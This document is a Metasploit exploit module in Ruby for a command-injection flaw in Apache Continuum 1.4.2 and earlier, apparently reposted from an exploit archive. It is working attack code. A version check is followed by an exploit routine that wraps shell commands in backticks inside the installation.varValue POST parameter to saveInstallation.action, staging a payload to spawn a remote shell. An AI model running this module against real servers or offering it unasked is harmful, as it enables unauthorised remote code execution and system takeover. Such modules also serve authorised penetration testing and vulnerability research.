Apache Continuum - Arbitrary Command Execution (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Continuum Arbitrary Command Execution',
      'Description'    => %q{
        This module exploits a command injection in Apache Continuum <= 1.4.2.
        By injecting a command into the installation.varValue POST parameter to
        /continuum/saveInstallation.action, a shell can be spawned.
      },
      'Author'         => [
        'David Shanahan', # Proof of concept
        'wvu'             # Metasploit module
      ],
      'References'     => [
        %w{EDB 39886}
      ],
      'DisclosureDate' => 'Apr 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X86_64],
      'Privileged'     => false,
      'Targets'        => [
        ['Apache Continuum <= 1.4.2', {}]
      ],
      'DefaultTarget'  => 0
    ))
 
    register_options([
      Opt::RPORT(8080)
    ])
  end
 
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/continuum/about.action'
    )
 
    if res && res.body.include?('1.4.2')
      CheckCode::Appears
    elsif res && res.code == 200
      CheckCode::Detected
    else
      CheckCode::Safe
    end
  end
 
  def exploit
    print_status('Injecting CmdStager payload...')
    execute_cmdstager(flavor: :bourne)
  end
 
  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/continuum/saveInstallation.action',
      'vars_post' => {
        'installation.name'     => Rex::Text.rand_text_alpha(8),
        'installation.type'     => 'jdk',
        'installation.varValue' => '`' + cmd + '`'
      }
    )
  end
 
end

#  0day.today [2018-01-02]  #